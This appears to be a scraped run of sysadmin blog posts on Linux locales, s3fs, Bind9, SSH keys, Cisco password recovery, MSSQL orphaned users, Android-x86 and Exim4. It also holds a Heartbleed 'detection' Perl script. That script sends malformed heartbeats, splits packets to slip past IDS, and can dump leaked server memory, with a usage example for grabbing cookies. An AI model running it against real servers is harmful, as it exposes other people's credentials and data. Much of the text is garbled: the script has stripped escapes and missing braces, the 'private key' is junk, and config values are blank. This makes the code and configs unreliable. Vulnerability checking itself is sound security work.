Setting Locale in Linux Debian or Ubuntu


Setting the locale in Linux Debian or Ubuntu is quite easy, usually it is because you get the following errors:

perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
 LANGUAGE = (unset),
 LC_ALL = (unset),
 LANG = "en_AU.UTF-8"
 are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
Module status already enabled

To fix the problem, run the following command:

dpkg-reconfigure locales

Select the location

Reconfigure Locales

Select the locale as default

Default Locale


Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Mount Amazon S3 Bucket on Ubuntu


I wanted the ability to mount a S3 bucket straight onto my Linux server so I wouldn’t have to rely on local storage, I have a write up on how to do this:

You can do this without installing FUSE just by installing s3fs but that only allows the user who mounted it to access the bucket and it is also not possible to mount using /etc/fstab

Before you run any commands, make sure your system is up to date by running:

apt-get update && apt-get -y upgrade

Ubuntu Dependancies

apt-get install build-essential pkg-config libfuse-dev libcurl4-openssl-dev libxml2-dev automake

Check Fuse Package

pkg-config --modversion fuse

Install s3fs

Download the latest verion of s3fs from the Google Code here

Download the latest version of S3fs from Github


Change directory into the newly extracted s3fs folder

make install

Configure time

This is important and missing from most how-to guides! If the time of the local server isn’t within 15 minutes of the Amazon server time, it won’t connect.

Install NTP

apt-get install ntp

Edit ntp.conf

vi /etc/ntpd.conf

Comment out the existing time servers and add the following

server iburst
server iburst
server iburst
server iburst

Restart ntpd

/etc/init.d/ntp restart

Check the time of the Amazon server

telnet 80
GET / HTTP/1.0

It should give you some output like this example:

telnet 80
Connected to
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.1 307 Temporary Redirect
x-amz-id-2: iXm0zQv6nf7WAeXYC3rnenEAxPjgnGHKtQP9nNeU82D1hYqDlFvItwFtpJ2u2fP6
x-amz-request-id: FB13695A8C2A8539
Date: Tue, 25 Nov 2014 23:49:00 GMT
Content-Length: 0
Connection: keep-alive
Server: AmazonS3

Connection closed by foreign host.

Change the timezone on your server to GMT time (as this is the timezone of the Amazon server)

dpkg-reconfigure tzdata

Select “None of the above”

Select “GMT”

Set the date and time on your server

Change the values to the same as the Amazon server time

date --set YYYY-MM-DD
date --set HH:MM:SS

Configuring s3fs

Create a file called “passwd-s3fs under /etc

vi /etc/passwd-s3fs

Put your access key and secret access key seperated by a “:”


Change the permissions for security reasons

chmod 640 /etc/passwd-s3fs

Create a tmp folder for caching

mkdir -p /tmp/cache

Create a mount point

mkdir -p /mnt/aws

Change permissions on cache and mount point folders

chmod 777 /mnt/aws /tmp/cache

Mounting s3 Bucket

Mount bucket

s3fs -o allow_other -o use_cache=/tmp/cache your-bucket-name /mnt/aws

Allow a few minutes to sync

Check to see if it is mounted:

df -h




To mount automatically at boot, your /etc/fstab should look like this:

s3fs#bucketname /mnt/aws fuse allow_other 0 0

A brief description of the mount arguments:

  • Allow_other = allow all users to access the mount point
  • _netdev = The filesystem resides on a device that requires network access
  • nosuid = Do not allow set-user-identifier or set-group-identifierbits to take effect
  • nodev = Do not interpret character or block special devices on the file system
  • url = Use HTTPS instead of HTTP when configure as above

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Scripts to mount bucket


Replace “bucketname” with the bucket you wish to mount and change the mount location (/mnt/aws)

/etc/init.d/ntp start
sleep 1m
s3fs -o allow_other -o use_cache=/tmp/cache bucketname /mnt/aws


fusermount -u /mnt/aws



The difference between the request time and the current time is too large

This is caused because the Amazon server time is not within 15 minutes of your local server time, check to make sure you have set the correct timezone, date and time in the instructions above.


1. The best way to find out if there are any problems is to run s3fs with the -f switch as it will give you full output of the what it is trying to do.

2. Check /var/log/syslog for any messages

Storing Backup Archives on Amazon Web Services Glacier Service (AWS)


At some point you might want to store your backups somewhere other than your home or office to give yourself more tolerance of a disaster wiping out your valuable data. I have personally tried and tested Amazon Web Services Glacier service and found it great for storing large volumes of data at a rate anyone can afford, the only limiting factors being your upload speed to it and the data cap your internet connection might have. My primary focus was to store Veeam backups as the only store I had of them other than the actual running machines was a 2.5 inch USB hard drive hotplugged to a virtual machine. Once I was happy the virtual machine wasn’t going to change much from it’s configuration then I would upload it to the Glacier server using a program called “Fast Glacier”. The program cuts the the file(s) into 16MB size chunks and uploads them at either full speed or a rate limited speed set by yourself. You can pay extra and get the “Pro” version of the product which unlocks the ability to use more than two chunks for “increased speed” however I never really noticed a speed difference by having more chunks. The application looks like the following:

Fast Glacier

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Managing your own DNS records with Bind9

Managing your own DNS records with Bind9

What is DNS Server?

DNS, Domain Name System, is a system that resolves domain names eg: into an IP address and vice-versa.

Geographic Separation

If you are managing your domain DNS records for the public to use then you need to make sure the servers are geographically separated. I have a couple of small low cost VPS servers in Europe and America for this purpose, the one in Australia is my own statically IP assigned internet connection.



1. Update and upgrade repositories

apt-get update && apt-get -y upgrade

2. Install Bind9 and Bind9 Utilities

apt-get install bind9, bind9utils, dnsutils

3. Create a file called “named.conf.local” under /etc/bind

vi /etc/bind/named.conf.local

4. Paste the following into the file (change to the domain you are managing)

zone "" {
    type master;
    file "/etc/bind/zones/";

5. Make a folder to create the zone files

mkdir -p /etc/bind/zones

6. Create a zone file for your domain (change to the domain you are managing)

vi /etc/bind/zones/

7. Paste the following into the zone file (change to the domain you are managing and the IP’s to the ones you use)

$TTL 600
@       IN      SOA        (
                        2014041601      ; serial number YYYYMMDDNN
                        28800           ; Refresh
                        7200            ; Retry
                        864000          ; Expire
                        86400           ; Min TTL
@               IN      NS
@               IN      NS
@               IN      NS
@               IN      MX      10

@               IN      A
www             IN      A
ns1             IN      A
ns2             IN      A
ns3             IN      A
mail            IN      A

8. Rndc Reload

rndc reload

9. Restart Bind9

/etc/init.d/bind9 restart


9. Check to ensure DNS is listening on UDP port 53

netstat -ntulp

You should see something like:

tcp        0      0 123.456.789.001:53*               LISTEN      28324/named
udp        0      0 123.456.789.001:53*                           28324/named

Note: TCP Port 53 is used for zone transfers, UDP port 53 is used for DNS lookups

Check Zone File

10. To check the zone file, run the following command (change to your domain name)

named-checkzone /etc/bind/zone/

Serial Number

Ensure you change the serial number every time you make a change to your zone file!

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Setup SSH Keys for Linux Key Based Authentication


Generating RSA Keys

1. Create a folder called “.ssh” under the root folder (change ~ for the full path of the user if you are using a user account)

mkdir ~/.ssh

2. Change permissions on the “.ssh” folder to 700

chmod 700 ~/.ssh

3. Generate keys

ssh-keygen -t rsa


You will be prompted for a location to save the keys and a passphrase for the keys. The passphrase will protect your private key while it’s stored on the hard drive of the client machine but will be required every time you try and log in using a key-based system.

The default key encryption level is 2048 bits, you can increase this to 4096 bits with the -b flag (increasing the bits makes it harder to crack the key by brute force methods).


ssh-keygen -t rsa -b 4096

The keys will now be available as at ~/.ssh/ and ~/.ssh/id_rsa

4. Create a file called “authorized_keys” in the ~/.ssh folder

vi ~/.ssh/authorized_keys

5. Copy the contents of to authorized_keys

Transfer Public Key


6. Copy the contents of the id_rsa file to the client

cat ~/.ssh/id_rsa


7. Create a file called id_rsa in ~/.ssh/

vi ~/.ssh/id_rsa

8. Paste contents (as example only)

k=o77ku2S^&amp;&amp;emfb:=Im86v$NLRl*orsJ"d/[email protected]?,IW4ME"[email protected]
46w3xXX&amp;[email protected]`BNVtdnO!OEb`zsK^9meQCnJY2KZ;L?qon2L;#Bsa6.Ymu
?fTcbG&amp;D%FkHy?S#cmbEAOSPps6Euq1P&amp;Ep6iDbe&amp;[email protected];5ms#[email protected]
X&amp;[email protected]=leX#fduTQjVUj/rxS^;%gdq*t?ea1B+FDs"8z5;[email protected],*[email protected]+O0mJCOKsR7Z9BEPuu9O90DPciA4k!gQHGGey
E27%kKxv7v!6d.#2IRqF!hzT#gJR2o3vX&amp;vVdY'W*l="[email protected]#j=4Y
jwavo#[email protected][email protected][email protected]/CZ3
3$*9i1#&amp;1'[email protected]?v:cC.U:oqP+b9"u`UrU&amp;J'tyP.h:dH+M6lx&amp;8=F
JYSjVP.$!J;?DqtguG:[email protected]`Dlj8iRBuc'$NbimF^g1tbU`ne6z%JG5#do4$I
[email protected]!*[email protected]#t1LbQm*+WEsi&amp;l/=OxVLECov%=h$F#de3w,[email protected]
[email protected],OPjDOX'J.c/5UukdW!Z=ZTN,#eZVCa6#+X8ZuM2LsOTR,[email protected]!2aow*,;L
cjD%X70puYGSh3#?1*qBf'UMmLfDQR^&amp;nz#[email protected]=QQhZ7Ei.7O'y^+7*:.d
0*BSWA$2R;&amp;tp5+CDXH8u%1rQyI;X$`[email protected]:zK^[email protected]!xQU=7K`vundE^9jG

9. Change permissions on id_rsa

chmod 400 ~/.ssh/id_rsa

10. Connect to the server

ssh [email protected]

All going well, you shouldn’t be prompted for a password

Adding Additional Keys

11. Follow steps 1 to 5 to create keys on the new server

12. On the client, create a file called “config” in the ~/.ssh folder

vi ~/.ssh/config

13. Paste the following into the config file

Host example1
User root
PreferredAuthentications publickey
IdentityFile ~/.ssh/id_rsa.example1
Host example2
User root
Hostname example2
PreferredAuthentications publickey
IdentityFile ~/.ssh/id_rsa.example2

Change example1 and example2 to the servers you are connecting to.
Make sure key files are chmod 400
You can have as many entries as you want in here

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Cisco Enable Password Recovery on Cisco Device


Cisco Enable Password Recovery on Cisco Device


1. Connect to the device using a console cable with the following set on the port:

  • 9600 baud rate
  • No parity
  • 8 data bits
  • 1 stop bit
  • No flow control

2. Turn the router on

3. If you can access the router, type the following command at the unprivileged prompt and record the configuration register.

show version
Cisco Show Version

4. Turn off the router

5. Turn on the router

6. Hit the “Break” key on the terminal keyboard within 60 seconds of powering up in order to put the router into ROMMON

Refer to the following should the break key not workCisco Break

7. Type the following command at the “rommon 2>” prompt

confreg 0x2142

8. Type “reset” the reboot the router

Cisco Confreg

9. Type “no” after each set up question or press “Ctrl” plus “C” in order to skip the set up procedure.

10. Type the following commands to finish the reset

copy running-config startup-config
configure terminal
enable secret passsword

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Detect Heartbleed Vulnerability using Perl Script


Check to see if sites you access are still vulnerable to the Heartbleed exploit (CVE-2014-0160) by running the following Perl script:

1. Create a file called and paste the following contents:


1a. Paste the following into

use strict;
use warnings;
use Getopt::Long qw(:config posix_default bundling);

# try to use IPv6
 my @mod = qw(IO::Socket::IP IO::Socket::INET6 IO::Socket::INET);
 while ($INETCLASS = shift @mod) {
 last if eval "require $INETCLASS";
 die "failed to load $INETCLASS: [email protected]" if ! @mod;

my $starttls = sub {1};
my $starttls_arg;
my $timeout = 5;
my $quiet = 0;
my $show = 0;
my $show_ascii = 0;
my $ssl_version = 'auto';
my @show_regex;
my $heartbeats = 1;
my $show_cert;
my $sni_hostname;
my %starttls = (
 'smtp' => [ 25, &smtp_starttls ],
 'http_proxy' => [ 8000, &http_connect ],
 'http_upgrade' => [ 80, &http_upgrade ],
 'imap' => [ 143, &imap_starttls ],
 'pop' => [ 110, &pop_stls ],
 'ftp' => [ 21, &ftp_auth ],
 'postgresql' => [ 5432, &postgresql_init ],

sub usage {
 print STDERR "ERROR: @_n" if @_;
 print STDERR <<USAGE;

Check if server is vulnerable against heartbleed SSL attack (CVE-2014-0160)
- can start with plain and upgrade with STARTTLS or similar commands with
 IMAP, POP, SMTP, FTP, HTTP and HTTP proxies, PostgreSQL
- heartbeat request is sent in two packets to circumvent simple packet
 matching IDS or packet filters
- handshake is done with TLS1.0 for better compatibility, heartbeat uses
 SSL version from server
- can use regular expressions to directly extract information from
 vulnerable sites
- can use IPv6

Usage: $0 [ --starttls proto[:arg] ] [ --timeout T ] host:port
 -h|--help - this screen
 --starttls proto[:arg] - start plain and upgrade to SSL with starttls protocol
 -q|--quiet - don't show anything, exit 1 if vulnerable
 -c|--show-cert - show some information about certificate
 -s|--show-data [L] - show heartbeat response if vulnerable, optional
 parameter L specifies number of bytes per line (16)
 -a|--show-ascii [L] - show heartbeat response ascii only if vulnerable, optional
 parameter L specifies number of bytes per line (80)
 -R|--show-regex-match R - show data matching perl regex R. Option can be
 used multiple times
 --ssl_version V - specify SSL version to use, e.g. ssl3, tlsv1,
 tlsv1_1, tlsv1_2 or auto (default), which tries
 until it gets a server hello back
 --sni-hostname H - specifiy hostname for SNI, set to '' to disable SNI
 will try with target host of not given
 -H|--heartbeats N - number of heartbeats (default 1)
 -T|--timeout T - use timeout (default 5)

 # check direct www, imaps .. server

 # try to get Cookies
 $0 -R 'Cookie:.*'

 # check webserver via proxy
 $0 --starttls proxy:8000

 # check webserver with http upgrade (OPTIONS *...)
 $0 --starttls http_upgrade

 # check webserver with http upgrade (GET /..)
 $0 --starttls http_upgrade:get=/

 # check imap server, start with plain and upgrade
 $0 --starttls imap

 # check pop server, start with plain and upgrade
 $0 --starttls pop

 # check smtp server, start with plain and upgrade
 $0 --starttls smtp


my $default_port = 443;
 'h|help' => sub { usage() },
 'T|timeout=i' => $timeout,
 's|show-data:i' => sub { $show = $_[1] || 16 },
 'a|show-ascii:i' => sub { $show_ascii = $_[1] || 80 },
 'R|show-regex-match:s' => @show_regex,
 'c|show-cert' => $show_cert,
 'q|quiet' => $quiet,
 'sni-hostname:s' => $sni_hostname,
 'H|heartbeats=i' => $heartbeats,
 'starttls=s' => sub {
 (my $proto,$starttls_arg) = $_[1] =~m{^(w+)(?::(.*))?$};
 my $st = $proto && $starttls{$proto};
 usage("invalid starttls protocol $_[1]") if ! $st;
 ($default_port,$starttls) = @$st;
 'ssl_version=s' => $ssl_version,

# use Net::SSLeay to print certificate information
# need version >= 1.46 for d2i_x509_bio
my $load_netssleay = sub {
 return 1 if eval { require Net::SSLeay } && $Net::SSLeay::VERSION >= 1.46;
 return if shift; # try w/o error
 die "need Net::SSLeay >= 1.46 to show certificate information";
$load_netssleay->(0) if $show_cert;

# try to do show_cert by default if not quiet, but don't complain if we
# cannot do it because we have no Net::SSLeay
$show_cert ||= ! $quiet && $load_netssleay->(1) && -1;

$ssl_version =
 lc($ssl_version) eq 'ssl3' ? 0x0300 :
 $ssl_version =~ m{^tlsv?1(?:_([12]))?}i ? 0x0301 + ($1||0) :
 0; # try possible versions

my $show_regex;
if (@show_regex) {
 my @rx;
 push @rx, eval { qr{$_} } || die "invalid perl regex '$_'"
 $show_regex = join('|',@rx);
 $show_regex = eval { qr{$show_regex} } || die "invalid regex: $show_regex";

my $dst = shift(@ARGV) or usage("no destination given");
$dst .= ":$default_port" if $dst !~ m{^([^:]+|.+]):w+$};
( my $hostname = $dst ) =~s{:w+$}{};
$hostname = $1 if $hostname =~m{^[(.*)]$};

if ( ! defined $sni_hostname ) {
 $sni_hostname = $hostname;
 $sni_hostname = '' if $sni_hostname =~m{:|^[d.]+$}; # IP6/IP4

my $connect = sub {
 my ($ssl_version,$sni,$ciphers) = @_;

 my $cl = $INETCLASS->new(
 ref($dst) ? ( PeerAddr => $dst->[0], PeerPort => $dst->[1] )
 : ( PeerAddr => $dst ),
 Timeout => $timeout
 ) or die "failed to connect: $!";
 # save dst to not resolve name every connect attempt
 $dst = [ $cl->peerhost, $cl->peerport ] if ! ref($dst);

 # disable NAGLE to send heartbeat with multiple small packets
 # skip plaintext before starting SSL handshake

 # extensions
 my $ext = '';
 if ( defined $sni and $sni ne '' ) {
 $ext .= pack('nn/a*', 0x00, # server_name extension + length
 pack('n/a*', # server_name list length
 pack('Cn/a*',0,$sni) # type host_name(0) + length/server_name

 # built and send ssl client hello
 my $hello_data = pack("nNn14Cn/a*C/a*n/a*",
 ( map { rand(0x10000) } (1..14)),
 0, # session-id length
 "\0", # compression null

 $hello_data = substr(pack("N/a*",$hello_data),1); # 3byte length
 print $cl pack(
 "Cnn/a*",0x16,$ssl_version, # type handshake, version, length
 pack("Ca*",1,$hello_data), # type client hello, data

 my $use_version;
 my $got_server_hello;
 my $err;
 while (1) {
 my ($type,$ver,@msg) = _readframe($cl,$err) or return;

 # first message must be server hello
 $got_server_hello ||= $type == 22 and grep { $_->[0] == 2 } @msg;
 return if ! $got_server_hello;

 # wait for server hello done
 if ( $type == 22 and grep { $_->[0] == 0x0e } @msg ) {
 # server hello done
 $use_version = $ver;

 return ($cl,$use_version);

# these are the ciphers we try
# that's all openssl -V ciphers reports with my openssl1.0.1
my @ssl3_ciphers = (
 0xC0,0x14, 0xC0,0x0A, 0xC0,0x22, 0xC0,0x21, 0x00,0x39, 0x00,0x38,
 0x00,0x88, 0x00,0x87, 0xC0,0x0F, 0xC0,0x05, 0x00,0x35, 0x00,0x84,
 0x00,0x8D, 0xC0,0x12, 0xC0,0x08, 0xC0,0x1C, 0xC0,0x1B, 0x00,0x16,
 0x00,0x13, 0xC0,0x0D, 0xC0,0x03, 0x00,0x0A, 0x00,0x8B, 0xC0,0x13,
 0xC0,0x09, 0xC0,0x1F, 0xC0,0x1E, 0x00,0x33, 0x00,0x32, 0x00,0x9A,
 0x00,0x99, 0x00,0x45, 0x00,0x44, 0xC0,0x0E, 0xC0,0x04, 0x00,0x2F,
 0x00,0x96, 0x00,0x41, 0x00,0x8C, 0xC0,0x11, 0xC0,0x07, 0xC0,0x0C,
 0xC0,0x02, 0x00,0x05, 0x00,0x04, 0x00,0x8A, 0x00,0x15, 0x00,0x12,
 0x00,0x09, 0x00,0x14, 0x00,0x11, 0x00,0x08, 0x00,0x06, 0x00,0x03,
my @tls12_ciphers = (
 0xC0,0x30, 0xC0,0x2C, 0xC0,0x28, 0xC0,0x24, 0x00,0xA3, 0x00,0x9F,
 0x00,0x6B, 0x00,0x6A, 0xC0,0x32, 0xC0,0x2E, 0xC0,0x2A, 0xC0,0x26,
 0x00,0x9D, 0x00,0x3D, 0xC0,0x2F, 0xC0,0x2B, 0xC0,0x27, 0xC0,0x23,
 0x00,0xA2, 0x00,0x9E, 0x00,0x67, 0x00,0x40, 0xC0,0x31, 0xC0,0x2D,
 0xC0,0x29, 0xC0,0x25, 0x00,0x9C, 0x00,0x3C,

# try to connect and do ssl handshake either with the specified version or with
# different versions (downgrade). Some servers just close if you start with
# TLSv1.2 instead of replying with a lesser version
my ($cl,$use_version);
for my $ver ( $ssl_version ? $ssl_version : ( 0x303, 0x302, 0x301, 0x300 )) {
 my @ciphers = (( $ver == 0x303 ? @tls12_ciphers : ()), @ssl3_ciphers );
 if ( $sni_hostname ) {
 verbose("...try to connect with version 0x%x with SNI",$ver);
 ($cl,$use_version) = $connect->( $ver, $sni_hostname, @ciphers ) and last;
 verbose("...try to connect with version 0x%x w/o SNI",$ver);
 ($cl,$use_version) = $connect->( $ver, $sni_hostname, @ciphers ) and last;

# TODO: if everything fails we might have a F5 in front which cannot deal
# with large client hellos.
die "Failed to make a successful TLS handshake with peer.n".
 "Either peer does not talk SSL or sits behind some stupid SSL middlebox."
 if ! $cl;

# heartbeat request with wrong size
# send in two packets to work around stupid IDS which try
# to detect attack by matching packets only
my $hb = pack("Cnn/a*",0x18,$use_version,

for (1..$heartbeats) {
 verbose("...send heartbeat#$_");
 print $cl substr($hb,0,1);
 print $cl substr($hb,1);

my $err;
if ( my ($type,$ver,$buf) = _readframe($cl,$err,1)) {
 if ( $type == 21 ) {
 verbose("received alert (probably not vulnerable)");
 } elsif ( $type != 24 ) {
 verbose("unexpected reply type $type");
 } elsif ( length($buf)>3 ) {
 verbose("BAD! got ".length($buf)." bytes back instead of 3 (vulnerable)");
 show_data($buf,$show) if $show;
 show_ascii($buf,$show_ascii) if $show_ascii;
 if ( $show_regex ) {
 while ( $buf =~m{($show_regex)}g ) {
 print STDERR $1."n";
 exit 1;
 } else {
 verbose("GOOD proper heartbeat reply (not vulnerable)");
} else {
 verbose("no reply($err) - probably not vulnerable");

sub _readframe {
 my ($cl,$rerr,$errok) = @_;
 my $len = 5;
 my $buf = '';
 vec( my $rin = '',fileno($cl),1 ) = 1;
 while ( length($buf)<$len ) {
 if ( ! select( my $rout = $rin,undef,undef,$timeout )) {
 $$rerr = 'timeout';
 last if $errok;
 if ( ! sysread($cl,$buf,$len-length($buf),length($buf))) {
 $$rerr = "eof";
 $$rerr .= " after ".length($buf)." bytes" if $buf ne '';
 last if $errok;
 $len = unpack("x3n",$buf) + 5 if length($buf) == 5;
 return if length($buf)<5;
 (my $type, my $ver) = unpack("Cnn",substr($buf,0,5,''));
 my @msg;
 if ( $type == 22 ) {
 while ( length($buf)>=4 ) {
 my ($ht,$len) = unpack("Ca3",substr($buf,0,4,''));
 $len = unpack("N","\0$len");
 push @msg,[ $ht,substr($buf,0,$len,'') ];
 verbose("...ssl received type=%d ver=0x%x ht=0x%x size=%d",
 if ( $show_cert && $ht == 11 ) {
 my $clen = unpack("N","\0".substr($msg[-1][1],0,3));
 my $certs = substr($msg[-1][1],3,$clen);
 my $i = 0;
 while ($certs ne '') {
 my $clen = unpack("N","\0".substr($certs,0,3,''));
 my $cert = substr($certs,0,$clen,'');
 length($cert) == $clen or
 die "invalid certificate length ($clen vs. ".length($cert).")";
 if ( my $line = eval { cert2line($cert) } ) {
 printf "[%d] %sn",$i, $line;
 } elsif ( $show_cert>0 ) {
 die "failed to convert cert to string: [email protected]";
 } else {
 @msg = $buf;
 verbose("...ssl received type=%d ver=%x size=%d",

 return ($type,$ver,@msg);

sub smtp_starttls {
 my $cl = shift;
 my $last_status_line = qr/((d)dd(?:s.*)?)/;
 my ($line,$code) = _readlines($cl,$last_status_line);
 $code == 2 or die "server denies access: $linen";
 print $cl "EHLO example.comrn";
 ($line,$code) = _readlines($cl,$last_status_line);
 $code == 2 or die "server did not accept EHLO: $linen";
 print $cl "STARTTLSrn";
 ($line,$code) = _readlines($cl,$last_status_line);
 $code == 2 or die "server did not accept STARTTLS: $linen";
 verbose("...reply to starttls: $line");
 return 1;

sub imap_starttls {
 my $cl = shift;
 <$cl>; # welcome
 print $cl "abc STARTTLSrn";
 while (<$cl>) {
 m{^abc (OK)?} or next;
 $1 or die "STARTTLS failed: $_";
 verbose("...starttls: $_");
 return 1;
 die "starttls failed";

sub pop_stls {
 my $cl = shift;
 <$cl>; # welcome
 print $cl "STLSrn";
 my $reply = <$cl>;
 die "STLS failed: $reply" if $reply !~m{^+OK};
 $reply =~s{r?n}{};
 verbose("...stls $reply");
 return 1;

sub http_connect {
 my $cl = shift;
 $starttls_arg or die "no target host:port given";
 print $cl "CONNECT $starttls_arg HTTP/1.0rnrn";
 my $hdr = _readlines($cl,qr/r?n/);
 $hdr =~m{A(HTTP/1.[01]s+(ddd)[^rn]*)};
 die "CONNECT failed: $1" if $2 != 200;
 verbose("...connect request: $1");
 return 1;

sub http_upgrade {
 my ($cl,$hostname) = @_;
 my $rq;
 if ( $starttls_arg && $starttls_arg =~m{^get(?:=(S+))?}i ) {
 my $path = $1 || '/';
 $rq = "GET $path HTTP/1.1rn".
 "Host: $hostnamern".
 "Upgrade: TLS/1.0rn".
 "Connection: Upgradern".
 } else {
 my $path = $starttls_arg && $starttls_arg =~m{^options=(S+)}i
 ? $1:'*';
 $rq = "OPTIONS $path HTTP/1.1rn".
 "Host: $hostnamern".
 "Upgrade: TLS/1.0rn".
 "Connection: Upgradern".
 print $cl $rq;
 my $hdr = _readlines($cl,qr/r?n/);
 $hdr =~m{A(HTTP/1.[01]s+(ddd)[^rn]*)};
 die "upgrade not accepted, code=$2 (expect 101): $1" if $2 != 101;
 verbose("...tls upgrade request: $1");
 return 1;

sub ftp_auth {
 my $cl = shift;
 my $last_status_line = qr/((d)dd(?:s.*)?)/;
 my ($line,$code) = _readlines($cl,$last_status_line);
 die "server denies access: $linen" if $code != 2;
 print $cl "AUTH TLSrn";
 ($line,$code) = _readlines($cl,$last_status_line);
 die "AUTH TLS denied: $linen" if $code != 2;
 verbose("...ftp auth: $line");
 return 1;

sub postgresql_init {
 my $cl = shift;
 # magic header to initiate SSL:
 print $cl pack("NN",8,80877103);
 read($cl, my $buf,1 ) or die "did not get response from postgresql";
 $buf eq 'S' or die "postgresql does not support SSL (response=$buf)";
 verbose("...postgresql supports SSL: $buf");
 return 1;

sub verbose {
 return if $quiet;
 my $msg = shift;
 $msg = sprintf($msg,@_) if @_;
 print STDERR $msg,"n";

sub show_data {
 my ($data,$len) = @_;
 my $lastd = '';
 my $repeat = 0;
 while ( $data ne '' ) {
 my $d = substr($data,0,$len,'' );
 $repeat++,next if $d eq $lastd;
 $lastd = $d;
 if ( $repeat ) {
 print STDERR "... repeated $repeat times ...n";
 $repeat = 0;
 ( my $h = unpack("H*",$d)) =~s{(..)}{$1 }g;
 ( my $c = $d ) =~s{[x00-x20x7f-xff]}{.}g;
 my $hl = $len*3;
 printf STDERR "%-${hl}s %-${len}sn",$h,$c;
 print STDERR "... repeated $repeat times ...n" if $repeat;

sub show_ascii {
 my ($data,$len) = @_;
 my $lastd = '';
 my $repeat = 0;
 while ( $data ne '' ) {
 my $d = substr($data,0,$len,'' );
 $repeat++,next if $d eq $lastd;
 $lastd = $d;
 if ( $repeat ) {
 print STDERR "... repeated $repeat times ...n";
 $repeat = 0;
 ( my $c = $d ) =~s{[x00-x20x7f-xff]}{.}g;
 printf STDERR "%-${len}sn",$c;
 print STDERR "... repeated $repeat times ...n" if $repeat;

sub cert2line {
 my $der = shift;
 my $bio = Net::SSLeay::BIO_new( Net::SSLeay::BIO_s_mem());
 my $cert = Net::SSLeay::d2i_X509_bio($bio);
 $cert or die "cannot parse certificate: ".
 my $not_before = Net::SSLeay::X509_get_notBefore($cert);
 my $not_after = Net::SSLeay::X509_get_notAfter($cert);
 $_ = Net::SSLeay::P_ASN1_TIME_put2string($_) for($not_before,$not_after);
 my $subject = Net::SSLeay::X509_NAME_oneline(
 return "$subject | $not_before - $not_after";

sub _readlines {
 my ($cl,$stoprx) = @_;
 my $buf = '';
 while (<$cl>) {
 $buf .= $_;
 return $buf if ! $stoprx;
 next if ! m{A$stoprxZ};
 return ( m{A$stoprxZ},$buf );
 die "eof" if $buf eq '';
 die "unexpected response: $buf";

2. Run script


Or download it here

How to fix orphaned MSSQL Server users



Orphaned Microsoft SQL users can occur when the user is in the database but not in the instance, even if you create an identical username the user on the database won’t match the instance user. This is all to do with the GUID (called a SID in Microsoft terms) that do not match,

1. Check to see if there are actually orphaned users:

USE <database_name>;
sp_change_users_login @Action='Report';

2. Relink the server login already specified by <login_name> with the database user specified by <database_user>

USE <database_name>;
sp_change_users_login @Action='update_one', @UserNamePattern='<database_user>',

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Deploy Android Operating System on VMware ESX

android logo

The Android-x86 Project has ported Android to the x86 platform, from ARM so now you can install it on your favorite virtualisation platform (in my case I will be using VMware but you can use others like Virtual Box etc).


1. A virtualisation platform (I will be using VMware in this example only)
2. A copy of Android-x86 bootable ISO (current version is 4.3)


1. Create a new virtual machine

2. The operating system will be Linux/Other 2.6 x86

3. I recommend using at least 512mb of RAM and a hard disk of 3GB or more using IDE and thick provisioned

4. Mount the ISO to the CDROM drive and ensure it is “connected”

5. Power on the virtual machine

Android Live CD Menu

6. Select “Installation – Install Android-x86 to harddisk”

7. Select “Create/Modify partitions

Android Create Partition

8. Select the right arrow to select “New”

Android Create Partition - New9. Select “Primary”

Android Create Partition - Primary10. Hit enter to allow maximum allocated sizeAndroid Create Partition - Size11. Hit enter on “Bootable” and make sure “Boot” comes up under “Flags” then move the arrow to the “Write” and hit enter

Android Create Partition - Bootable and Write12. Type “yes” and press enterAndroid Create Partition - Confirmation

13. Select “Quit” and select the new partition and press enterAndroid Install OS on new partition14. Select “Ext3” and confirm you want to format the partition

15. Select “Yes” to install GRUBAndroid Install GRUB

16. Select “Yes” to install /system as read writeAndroid Install Sytem Read Write

17. Select “Reboot” and unmount ISO from CDROM

Android Android Begin Setup Phone

18. Configuring the ethernet 0 adapter if DHCP is not available

adb shell
mount -o rw,remount /system
ifconfig eth0 ipaddress netmask
route add default gw yourgatewayip dev eth0
setprop net.eth0.dns1
setprop net.eth0.dns2

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.

Installing and Configuring Exim4 to Smarthost on Linux Debian or Ubuntu


1. Update source repositories

apt-get update && apt-get -y upgrade

2. Install Exim4

apt-get install exim4-daemon-light

3. Create and edit the following file location:

vi /etc/exim4/passwd.client

4. Add the following line



5. Create the following file

vi /etc/exim4/exim4.conf.localmacros

6. Add the following line


7. Reconfigure Exim4

dpkg-reconfigure exim4-config

7a. Select “mail sent by smarthost, no local mail”

8. Apply settings by resetting daemon

/etc/init.d/exim4 restart

9. Test by sending a email using Mutt

mutt -s "test1" [email protected]

Should you have any questions, comments or suggestions, please don’t hesitate to comment below. If you like what you have read, please share it on your favourite social media medium.